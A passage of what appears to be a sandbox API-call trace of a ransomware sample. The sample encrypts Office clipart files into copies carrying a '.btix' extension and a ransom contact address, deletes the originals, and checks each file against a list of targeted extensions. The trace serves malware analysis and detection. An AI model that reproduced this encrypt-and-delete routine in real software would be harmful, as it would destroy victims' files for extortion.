lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.278] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.281] GetLastError () returned 0x0 [0149.281] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x6b9a, lpOverlapped=0x0) returned 1 [0149.282] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x6ba0, lpOverlapped=0x0) returned 1 [0149.284] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.284] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.284] SetEndOfFile (hFile=0x380) returned 1 [0149.285] CloseHandle (hObject=0x380) returned 1 [0149.285] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.285] SetEndOfFile (hFile=0x37c) returned 1 [0149.286] CloseHandle (hObject=0x37c) returned 1 [0149.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0149.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.286] lstrlenW (lpString=".doc") returned 4 [0149.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.286] lstrlenW (lpString=".docx") returned 5 [0149.286] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0149.287] lstrlenW (lpString=".pdf") returned 4 [0149.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString=".xls") returned 4 [0149.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.287] lstrlenW (lpString=".xlsx") returned 5 [0149.287] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0149.287] lstrlenW (lpString=".ppt") returned 4 [0149.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.287] lstrlenW (lpString=".zip") returned 4 [0149.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.287] lstrlenW (lpString=".rar") returned 4 [0149.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString=".bz2") returned 4 [0149.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString=".7z") returned 3 [0149.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.287] lstrlenW (lpString=".dbf") returned 4 [0149.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.287] lstrlenW (lpString=".1cd") returned 4 [0149.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.287] lstrlenW (lpString=".jpg") returned 4 [0149.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.288] lstrlenW (lpString=".doc") returned 4 [0149.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.288] lstrlenW (lpString=".docx") returned 5 [0149.288] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0149.288] lstrlenW (lpString=".pdf") returned 4 [0149.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.288] lstrlenW (lpString=".xls") returned 4 [0149.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.288] lstrlenW (lpString=".xlsx") returned 5 [0149.288] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0149.288] lstrlenW (lpString=".ppt") returned 4 [0149.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.288] lstrlenW (lpString=".zip") returned 4 [0149.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.288] lstrlenW (lpString=".rar") returned 4 [0149.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.288] lstrlenW (lpString=".bz2") returned 4 [0149.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.288] lstrlenW (lpString=".7z") returned 3 [0149.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.288] lstrlenW (lpString=".dbf") returned 4 [0149.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.288] lstrlenW (lpString=".1cd") returned 4 [0149.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0149.289] lstrlenW (lpString=".jpg") returned 4 [0149.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.289] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.289] lstrlenW (lpString="J0099160.JPG") returned 12 [0149.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.289] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=15145) returned 1 [0149.289] CloseHandle (hObject=0x37c) returned 1 [0149.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0149.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0149.289] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.290] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.290] GetLastError () returned 0x0 [0149.290] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3b29, lpOverlapped=0x0) returned 1 [0149.459] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0150.582] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.582] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.582] SetEndOfFile (hFile=0x380) returned 1 [0150.582] CloseHandle (hObject=0x380) returned 1 [0150.582] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.582] SetEndOfFile (hFile=0x37c) returned 1 [0150.583] CloseHandle (hObject=0x37c) returned 1 [0150.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0150.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.584] lstrlenW (lpString=".doc") returned 4 [0150.584] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.584] lstrlenW (lpString=".docx") returned 5 [0150.584] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0150.584] lstrlenW (lpString=".pdf") returned 4 [0150.584] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.584] lstrlenW (lpString=".xls") returned 4 [0150.584] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.584] lstrlenW (lpString=".xlsx") returned 5 [0150.584] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0150.584] lstrlenW (lpString=".ppt") returned 4 [0150.584] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.584] lstrlenW (lpString=".zip") returned 4 [0150.584] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.584] lstrlenW (lpString=".rar") returned 4 [0150.584] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.584] lstrlenW (lpString=".bz2") returned 4 [0150.584] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.584] lstrlenW (lpString=".7z") returned 3 [0150.584] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.584] lstrlenW (lpString=".dbf") returned 4 [0150.584] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.584] lstrlenW (lpString=".1cd") returned 4 [0150.585] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.585] lstrlenW (lpString=".jpg") returned 4 [0150.585] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.585] lstrlenW (lpString=".doc") returned 4 [0150.585] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.585] lstrlenW (lpString=".docx") returned 5 [0150.585] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0150.585] lstrlenW (lpString=".pdf") returned 4 [0150.585] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.585] lstrlenW (lpString=".xls") returned 4 [0150.585] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.585] lstrlenW (lpString=".xlsx") returned 5 [0150.585] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0150.585] lstrlenW (lpString=".ppt") returned 4 [0150.585] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.585] lstrlenW (lpString=".zip") returned 4 [0150.585] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.585] lstrlenW (lpString=".rar") returned 4 [0150.585] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.585] lstrlenW (lpString=".bz2") returned 4 [0150.586] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.586] lstrlenW (lpString=".7z") returned 3 [0150.586] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.586] lstrlenW (lpString=".dbf") returned 4 [0150.586] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.586] lstrlenW (lpString=".1cd") returned 4 [0150.586] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0150.586] lstrlenW (lpString=".jpg") returned 4 [0150.586] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.586] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.586] lstrlenW (lpString="J0099197.GIF") returned 12 [0150.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0150.586] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=10898) returned 1 [0150.586] CloseHandle (hObject=0x37c) returned 1 [0150.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0150.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0150.587] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.587] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0150.587] GetLastError () returned 0x0 [0150.587] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2a92, lpOverlapped=0x0) returned 1 [0150.588] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0150.589] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.589] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.589] SetEndOfFile (hFile=0x380) returned 1 [0150.589] CloseHandle (hObject=0x380) returned 1 [0150.589] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.589] SetEndOfFile (hFile=0x37c) returned 1 [0150.590] CloseHandle (hObject=0x37c) returned 1 [0150.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0150.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.592] lstrlenW (lpString=".doc") returned 4 [0150.592] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.592] lstrlenW (lpString=".docx") returned 5 [0150.592] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0150.592] lstrlenW (lpString=".pdf") returned 4 [0150.592] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.592] lstrlenW (lpString=".xls") returned 4 [0150.592] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.592] lstrlenW (lpString=".xlsx") returned 5 [0150.592] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0150.592] lstrlenW (lpString=".ppt") returned 4 [0150.592] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.592] lstrlenW (lpString=".zip") returned 4 [0150.592] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.592] lstrlenW (lpString=".rar") returned 4 [0150.592] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.592] lstrlenW (lpString=".bz2") returned 4 [0150.592] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.592] lstrlenW (lpString=".7z") returned 3 [0150.592] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.592] lstrlenW (lpString=".dbf") returned 4 [0150.592] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.592] lstrlenW (lpString=".1cd") returned 4 [0150.592] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.592] lstrlenW (lpString=".jpg") returned 4 [0150.592] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.593] lstrlenW (lpString=".doc") returned 4 [0150.593] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.593] lstrlenW (lpString=".docx") returned 5 [0150.593] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0150.593] lstrlenW (lpString=".pdf") returned 4 [0150.593] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.593] lstrlenW (lpString=".xls") returned 4 [0150.593] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.593] lstrlenW (lpString=".xlsx") returned 5 [0150.593] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0150.593] lstrlenW (lpString=".ppt") returned 4 [0150.593] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.593] lstrlenW (lpString=".zip") returned 4 [0150.593] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.593] lstrlenW (lpString=".rar") returned 4 [0150.593] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.593] lstrlenW (lpString=".bz2") returned 4 [0150.593] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.593] lstrlenW (lpString=".7z") returned 3 [0150.593] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.593] lstrlenW (lpString=".dbf") returned 4 [0150.593] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.593] lstrlenW (lpString=".1cd") returned 4 [0150.593] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0150.593] lstrlenW (lpString=".jpg") returned 4 [0150.593] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.593] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.594] lstrlenW (lpString="J0099198.GIF") returned 12 [0150.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0150.594] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=5259) returned 1 [0150.594] CloseHandle (hObject=0x37c) returned 1 [0150.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0150.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0150.594] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.594] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 